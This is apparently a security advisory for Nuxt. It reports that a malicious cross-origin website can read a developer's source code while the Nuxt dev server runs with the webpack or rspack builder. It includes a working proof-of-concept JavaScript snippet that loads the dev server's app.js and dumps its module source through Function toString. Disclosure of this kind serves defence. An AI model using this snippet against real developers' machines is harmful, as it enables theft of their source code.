Summary
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Details

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.
